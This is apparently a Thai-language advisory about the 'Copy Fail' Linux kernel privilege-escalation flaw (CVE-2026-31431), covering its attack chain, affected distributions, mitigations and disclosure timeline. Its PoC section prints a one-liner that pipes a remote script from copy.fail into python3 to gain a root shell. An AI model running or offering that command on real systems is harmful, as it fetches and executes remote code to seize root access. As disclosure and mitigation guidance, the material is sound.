โค้ด 732 ไบต์เอาอยู่ทุก Linux: ช่องโหว่ระดับตำนานแอบซ่อนมาเกือบสิบปี

🚨 ช่องโหว่ระดับตำนาน: โค้ด 732 ไบต์เอาอยู่ทุก Linux แอบซ่อนมาเกือบสิบปี
มีการเปิดเผยช่องโหว่ใน Linux kernel ที่ชื่อว่า“Copy Fail”(CVE-2026-31431) ต่อสาธารณะ:
- 732 ไบต์เป็นสคริปต์ Python
- เชื่อถือได้ 100% ไม่ต้องอาศัยหน้าต่าง race หรือ kernel offset
- กระทบ Linux ทุกดิสโทร (ตั้งแต่ปี 2017 เป็นต้นมา)
- มี primitive หลุดจากคอนเทนเนอร์ และโจมตีข้าม tenant ได้
- แอบซ่อนมาเกือบสิบปี ก่อนถูกเปิดเผยเมื่อ 29 เมษายน 2026
สคริปต์เดียวกันใช้ได้บนUbuntu, RHEL, Amazon Linux, SUSEทั้งหมดโดยไม่ต้องแก้ไข.
🎯 แก่นของช่องโหว่
ข้อบกพร่องเชิงตรรกะจุดเดียว
Copy Fail เป็นข้อบกพร่องเชิงตรรกะแบบตรงเส้น:
- ไม่ต้องมี race window: ต่างจาก Linux LPE ส่วนใหญ่ที่ต้องอาศัย race
- ไม่ต้องมี kernel offset: ไม่ต้องใช้ค่า offset เฉพาะของแต่ละ kernel
- เชื่อถือได้ 100%: สำเร็จทุกครั้ง
- สคริปต์เดียวกัน: ใช้ได้กับทุกดิสโทร
ห่วงโซ่การโจมตี
ห่วงโซ่การโจมตีของ Copy Fail:
- บั๊กตรรกะ authencesn: บั๊กเชิงตรรกะหนึ่งจุด
- AF_ALG: ผ่าน crypto API ของเคอร์เนล
- splice(): เรียกแบบต่อเนื่อง
- การเขียน page-cache 4 ไบต์: primitive สุดท้ายของการโจมตี
- ใช้โจมตีได้มาเกือบสิบปี: ตั้งแต่ปี 2017 จนถึงการเผยแพตช์
📊 ขอบเขตผลกระทบ
ดิสโทรที่ได้รับการยืนยันอย่างเป็นทางการ
| ดิสโทร | เวอร์ชันเคอร์เนล | สถานะ |
|---|---|---|
| Ubuntu 24.04 LTS | 6.17.0-1007-aws | ✅ ยืนยันแล้ว |
| Amazon Linux 2023 | 6.18.8-9.213.amzn2023 | ✅ ยืนยันแล้ว |
| RHEL 10.1 | 6.12.0-124.45.1.el10_1 | ✅ ยืนยันแล้ว |
| SUSE 16 | 6.12.0-160000.9-default | ✅ ยืนยันแล้ว |
ดิสโทรอื่นที่ได้รับผลกระทบ
ดิสโทรต่อไปนี้ก็ได้รับผลกระทบเช่นกัน:
- Debian
- Arch Linux
- Fedora
- Rocky Linux
- AlmaLinux
- Oracle Linux
- Linux แบบฝังตัว
สรุป: ถ้าเคอร์เนลของคุณถูกบิลด์ระหว่างปี 2017 ถึงก่อนแพตช์——คุณได้รับผลกระทบ.
💡 สถานการณ์เสี่ยงสูง
| สถานการณ์ | ความเสี่ยง | ผลกระทบ |
|---|---|---|
| โฮสต์ Linux หลาย tenant | สูง | ผู้ใช้ใดก็ได้กลายเป็น root |
| Kubernetes / คลัสเตอร์คอนเทนเนอร์ | สูง | โจมตีข้ามคอนเทนเนอร์ ข้าม tenant |
| CI Runner / Build Farm | สูง | PR กลายเป็น root ของ runner |
| Cloud SaaS รันโค้ดผู้ใช้ | สูง | tenant กลายเป็น host root |
| เซิร์ฟเวอร์ Linux ทั่วไป | กลาง | LPE ภายใน โยงเป็นห่วงโซ่โจมตีได้ |
| โน้ตบุ๊กผู้ใช้เดียว | ต่ำ | ขั้นตอน privilege escalation หลังเข้าถึงเครื่องได้ |
🔧 มาตรการบรรเทา
แผน 1: อัปเดตเคอร์เนล (แนะนำ)
อัปเดตเคอร์เนลไปยังเวอร์ชันที่มีmainline commit a664bf3d603d:
- เนื้อหาการแก้ไข: ย้อนการปรับปรุง in-place ของ algif_aead ปี 2017
- ผลลัพธ์: หน้า page-cache จะไม่ปรากฏใน destination scatterlist ฝั่งเขียนอีกต่อไป
- สถานะ: ดิสโทรหลักส่วนใหญ่เผยแพตช์แล้ว
แผน 2: ปิดโมดูล algif_aead (ชั่วคราว)
# 禁用 algif_aead 模块 echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf rmmod algif_aead 2>/dev/null || true
ผลกระทบจากการปิด algif_aead
| คอมโพเนนต์ | ผลกระทบ |
|---|---|
| dm-crypt / LUKS | ไม่ได้รับผลกระทบ |
| kTLS / IPsec | ไม่ได้รับผลกระทบ |
| OpenSSL / SSH | ไม่ได้รับผลกระทบ |
| userspace ฝั่ง AF_ALG | อาจได้รับผลกระทบ |
สรุป: สำหรับระบบส่วนใหญ่ การปิด algif_aeadไม่มีผลกระทบที่เห็นได้ชัด.
แผน 3: ใช้ seccomp บล็อก AF_ALG
สำหรับ workload ที่ไม่น่าเชื่อถือ (คอนเทนเนอร์ แซนด์บ็อกซ์ CI) ให้ใช้ seccomp บล็อกการสร้าง AF_ALG socket:
# 检查 AF_ALG 使用 lsof | grep AF_ALG ss -xa
🚀 สาธิต PoC
PoC ของช่องโหว่เปิดเผยแล้ว เพื่อให้ defenders ใช้ตรวจสอบระบบ:
รันด่วน
$ curl https://copy.fail/exp | python3 && su # id uid=0(root) gid=1002(user) groups=1002(user)
รายละเอียด PoC
- ขนาดไฟล์: 732 ไบต์
- ภาษา: Python 3.10+ stdlib only (os, socket, zlib)
- เป้าหมายเริ่มต้น: /usr/bin/su
- SHA256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9
คำเตือน: สคริปต์แก้ไข page cache ของ setuid binary การเปลี่ยนแปลงจะไม่คงอยู่หลังรีบูต แต่ root shell นั้นเป็นของจริง ห้ามรันบนระบบ production
📅 ไทม์ไลน์การเปิดเผย
| วันที่ | เหตุการณ์ |
|---|---|
| 2026-03-23 | รายงานถึง Linux kernel security team |
| 2026-03-24 | การยืนยันเบื้องต้น |
| 2026-03-25 | เสนอและตรวจทานแพตช์ |
| 2026-04-01 | ส่งแพตช์เข้า mainline |
| 2026-04-22 | จัดสรร CVE-2026-31431 |
| 2026-04-29 | เปิดเผยต่อสาธารณะ |
🔍 ผู้ค้นพบ: Xint Code
ช่องโหว่ถูกค้นพบโดยXint Code:
- เวลาสแกน: สแกน Linux crypto/ subsystem ราว 1 ชั่วโมง
- วิธีค้นพบ: การตรวจสอบโค้ดด้วย AI
- การวิเคราะห์ฉบับเต็ม: root cause, diagrams, operator prompt
- ผลการค้นพบอื่น: ค้นพบช่องโหว่ความรุนแรงสูงอื่นพร้อมกันด้วย ยังอยู่ระหว่างการเปิดเผยแบบประสานงาน
ผลงานของ Xint Code
- 0-day RCE: ZeroDay Cloud กวาดคลีนหมวดฐานข้อมูล (Redis, PostgreSQL, MariaDB)
- DARPA AIxCC Top 3: รอบชิงชนะเลิศ DARPA AI Cyber Challenge
- DEF CON CTF 9×: ทีมที่ชนะ DEF CON CTF มากที่สุดในประวัติศาสตร์
📝 สรุป
Copy Fail (CVE-2026-31431) คือช่องโหว่ Linux kernel ระดับตำนาน:
- โค้ด 732 ไบต์เอาอยู่ทุก Linux (ตั้งแต่ปี 2017)
- เชื่อถือได้ 100% เป็นข้อบกพร่องเชิงตรรกะจุดเดียว
- หลุดจากคอนเทนเนอร์ โจมตีข้าม tenant ได้
- แอบซ่อนมาเกือบสิบปี ก่อนเปิดเผยเมื่อ 29 เมษายน 2026
- สถานการณ์เสี่ยงสูง: โฮสต์หลาย tenant คลัสเตอร์คอนเทนเนอร์ CI Runner, SaaS
- การบรรเทา: อัปเดตเคอร์เนลหรือปิด algif_aead
- ผู้ค้นพบ: Xint Code ตรวจสอบโค้ดด้วย AI
ช่องโหว่ระดับตำนานที่ซ่อนมาเกือบสิบปี สคริปต์เดียวเอาอยู่ทุก Linux
เว็บไซต์ช่องโหว่:https://copy.fail
GitHub PoC:https://github.com/theori-io/copy-fail-CVE-2026-31431
วิเคราะห์เชิงเทคนิค:https://xint.io/blog/copy-fail-linux-distributions
Kernel patch:https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5